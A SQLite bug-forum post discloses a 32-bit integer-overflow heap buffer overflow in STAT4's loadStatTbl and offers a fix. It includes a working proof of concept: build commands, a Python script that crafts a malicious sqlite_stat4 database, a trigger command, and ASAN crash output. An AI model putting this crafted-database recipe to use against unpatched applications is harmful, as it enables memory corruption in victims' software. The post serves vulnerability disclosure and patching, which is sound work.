SQLite Bug Forum

Vuln67-48: STAT4 loadStatTbl 32-bit size_t Multiplication Overflow Causes Heap Buffer Overflow
Login

Vuln67-48: STAT4 loadStatTbl 32-bit size_t Multiplication Overflow Causes Heap Buffer Overflow

(1) By ylwang (yuelinwang) on 2026-06-16 11:30:52 [source]

Summary

In src/analyze.c at loadStatTbl() lines 1817 to 1818, the per-index sample-buffer allocation widens to i64 only after the RHS multiplications, so on 32-bit builds both products evaluate in size_t (u32) and wrap before reaching nByte.

i64 nByte;
nByte  = ROUND8(sizeof(IndexSample) * nSample);                  /* 1817 wraps */
nByte += sizeof(tRowcnt) * nIdxCol * 3 * nSample;                /* 1818 wraps */
nByte += nIdxCol * sizeof(tRowcnt);
pIdx->aSample = sqlite3DbMallocZero(db, nByte);

On 32-bit sizeof(IndexSample) = 20 and sizeof(tRowcnt) = 8. With nIdxCol = 1000 and nSample = 179001 rows in sqlite_stat4, the second product is 8 * 1000 * 3 * 179001 = 4296024000, which truncates to 1056704 in u32. The widened nByte becomes about 4.4 MB, but the loop downstream writes the full 4.3 GB worth of samples. Commit fe15ed4342 previously widened nByte itself from int to i64 but left the RHS operands in size_t, so the wrap migrated one step upstream and is still present.

The bug is reachable through any .db file carrying a wide-index sqlite_stat4 table. sqlite_stat4 has no TF_Shadow flag and is freely writable from SQL, so an attacker can populate it directly. The victim needs only sqlite3_prepare_v2 on the table, since sqlite3AnalysisLoad runs during schema init before any user statement executes.

Requires SQLITE_ENABLE_STAT4 (non-default compile flag) and a 32-bit target.

PoC

Generate the database with a 32-bit STAT4 shell, then trigger on the same 32-bit ASAN+UBSan build:

# build the 32-bit STAT4 helper shell once
gcc -m32 -DSQLITE_ENABLE_STAT4 sqlite3.c shell.c \
    -o /tmp/sqlite3_32_stat4 -ldl -lpthread -lm

# craft poc_stat4.db
python3 - <<'PY'
import subprocess
N, S = 999, 179001
cols = ", ".join(f"c{i}" for i in range(N))
nums = " ".join("1" for _ in range(N + 1))
sql = f"""
CREATE TABLE t({cols});
CREATE INDEX idx ON t({cols});
INSERT INTO t VALUES({", ".join("1" for _ in range(N))});
ANALYZE;
WITH RECURSIVE cnt(x) AS (SELECT 0 UNION ALL SELECT x+1 FROM cnt WHERE x<{S-1})
INSERT INTO sqlite_stat4(tbl,idx,neq,nlt,ndlt,sample)
SELECT 't','idx','{nums}','{nums}','{nums}',x'' FROM cnt;
"""
subprocess.run(["/tmp/sqlite3_32_stat4", "/tmp/poc_stat4.db"],
               input=sql, text=True, check=True, timeout=600)
PY

# trigger
/data/ylwang/LargeScan/targets/sqlite/build32/sqlite3 /tmp/poc_stat4.db \
    'SELECT c0 FROM t LIMIT 1' 2>&1 | tail -12

Trigger output:

==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8 at 0xf0405550 thread T0
    #0 decodeIntArray
    #1 loadStatTbl
    #2 loadStat4
    #3 sqlite3AnalysisLoad
    #4 sqlite3InitOne
    ...
0xf0405550 is located 0 bytes to the right of 4668752-byte region [0xeff91800,0xf0405550)
SUMMARY: AddressSanitizer: heap-buffer-overflow in decodeIntArray

The 4668752-byte allocation is the wrapped value (~4.4 MB), and the WRITE at 0xf0405550 is exactly at the chunk boundary. UBSan also flags the pointer arithmetic earlier as runtime error: pointer index expression with base 0xfffff850 overflowed to 0x00001790.

Fix

Widen both RHS expressions to i64 before multiplication.

nByte  = ROUND8((i64)sizeof(IndexSample) * nSample);
nByte += (i64)sizeof(tRowcnt) * nIdxCol * 3 * nSample;
Status Moderators and the post's owner may change the status of this thread unless it is still. pending moderation. See /help/forum-statuses

(2) By ylwang (yuelinwang) on 2026-06-16 12:41:50 in reply to 1 [link] [source]

https://www.sqlite.org/src/info/0b72246732fecd79